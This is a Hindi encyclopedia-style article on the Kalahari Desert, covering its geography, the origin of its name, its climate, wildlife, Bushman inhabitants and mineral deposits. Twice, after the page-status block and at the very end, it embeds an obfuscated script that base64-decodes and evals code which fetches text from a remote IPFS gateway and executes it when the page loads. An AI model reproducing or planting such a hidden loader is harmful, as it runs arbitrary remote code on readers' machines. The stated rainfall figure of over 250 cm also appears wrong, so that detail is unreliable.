कालाहारी रेगिस्तान

भारत डिस्कवरी प्रस्तुति
(कालाहारी मरुस्थल से पुनर्निर्देशित)
यहाँ जाएँ:भ्रमण, खोजें
कालाहारी रेगिस्तान

कालाहारी रेगिस्तान दक्षिण अफ़्रीका में स्थित है। यह बोत्सवाना के अधिकांश क्षेत्रों, जिनमें नामीबिया तथा दक्षिण अफ़्रीका प्रमुख हैं, के कुछ भू-भाग में फैला हुआ है। इस रेगिस्तान में पाई जाने वाली रेत भी स्थान-स्थान पर भिन्न रंग की होती है। कुछ लोग कालाहारी को रेगिस्तान नहीं मानते, क्योंकि यहाँ पर वर्षा का स्तर काफ़ी अच्छा है। जाड़े के दिनों में यहाँ का तापमान जमाव बिन्दु से नीचे चला जाता है। इस रेगिस्तान में विभिन्न प्रकार जीव-जंतुओं की असंख्य प्रजातियाँ पाई जाती हैं। कालाहारी रेगिस्तान में वनस्पतियों की भी भिन्न-भिन्न किस्में पाई जाती हैं। यह रेगिस्तान अपने खनिजों के लिए बहुत प्रसिद्ध है, यहाँ हीरा, निकल तथा यूरेनियम आदि के पर्याप्त भण्डार मौजूद हैं।[1]

कालाहारी शब्द का अर्थ

यह रेगिस्तान दक्षिण में 'ओरेंज नदी' तथा उत्तर में 'ज़ाम्बेज़ी नदी' के बीच स्थित है। 'कालाहारी' शब्द संभवतः 'कीर' से बना है, जिसका अर्थ होता है- 'बेहद प्यास'। यह भी कहा जाता है कि कालाहारी एक विशेष जनजातीय शब्द है, जो 'कालागारी' अथवा 'कालागारे' से उत्पन्न हुआ है, जिसका अर्थ होता है- 'जलविहीन स्थान'। अन्य रेगिस्तानों की भांति इस स्थान पर भी रेत के टीले व बजरी के समतल क्षेत्र हैं। यहाँ के टीले लगभग स्थिर रहते हैं। कालाहारी रेगिस्तान में अधिकतर रेत बहुत महीन तथा कहीं-कहीं पर लाल रंग तो कहीं पर स्लेटी रंग की होती है।

जीव जंतु तथा वनस्पति

कालाहारी रेगिस्तान

यह विवाद का विषय है कि क्या कालाहारी वास्तविक रूप में एक रेगिस्तान हैं? कुछ लोगों का यह मानना है कि कालाहारी को रेगिस्तान की श्रेणी में नहीं रखा जा सकता। इसका कारण यह है, क्योंकि यहाँ पर वर्षा का स्तर 250 से.मी. से अधिक रहता है। इस रेगिस्तान का अधिकांश क्षेत्र जीवाश्म-रेगिस्तान माना गया है। रेगिस्तान का दक्षिण-पश्चिमी भाग अति शुष्क है। यहाँ ग्रीष्म ऋतु में तापमान 20 डिग्री सेल्सियस से 40 डिग्री सेल्सियस के मध्य रहता है। जबकि शीतकाल में यहाँ का तापमान जमाव बिंदु से भी नीचे चला जाता है। कालाहारी रेगिस्तान में शेर, लकड़बघ्घा, हिरन तथा अनेक प्रकार के सरीसृप और पक्षी पाए जाते हैं। कालाहारी रेगिस्तान में 400 से अधिक वनस्पतियाँ पाई जाती हैं। लेकिन बबूल की झाडियाँ तथा अन्य घास यहाँ बड़ी मात्रा में पैदा होती हैं।[1]

निवासी व खनिज

कालाहारी रेगिस्तान में निवास करने वाले लोगों में अधिकतर खानाबदोश यानी 'यायावर' लोग ही हैं, जो प्राय: अपना स्थान बदलते रहते हैं। यहाँ के स्थाई निवासियों को "बुशमैन" कहा जाता है। यह लोग अनेक जनजातीय लोगों का मिला-जुला नाम है। बुशमैन जाति के लोग कालाहारी के रेगिस्तानी क्षेत्र में पिछले बीस हज़ार वर्षों से निवास कर रहे हैं। इस मरुभूमि में समुचित मात्रा में कोयला, हीरा, ताँबा, निकल तथा यूरेनियम के भंडार उपस्थित हैं। विश्व में हीरों की प्रमुख खदानों में पूर्वोत्तर कालाहारी के आरोपा क्षेत्र में स्थित हीरे की खान भी शामिल है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 संसार के विशाल रेगिस्तान (हिन्दी) (एच.टी.एम.एल.)। । अभिगमन तिथि: 14 जुलाई, 2012।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>